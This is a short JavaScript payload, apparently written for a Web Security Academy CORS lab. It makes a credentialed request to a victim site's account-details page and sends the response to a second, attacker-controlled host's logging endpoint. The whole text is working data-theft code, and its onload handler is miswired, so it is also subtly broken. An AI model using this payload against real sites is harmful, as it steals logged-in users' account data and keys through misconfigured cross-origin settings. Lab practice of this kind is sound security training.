var req = new XMLHttpRequest(); req.onload = reqListener(this.responseText); req.open('get','https://ac411fb51eaf24b680352fed006800bc.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener(a) { var req = new XMLHttpRequest(); req.open('get','https://ac0a1feb1e7e2477808c2f92012200db.web-security-academy.net/log?key='+a,true); req.withCredentials = true; req.send(); };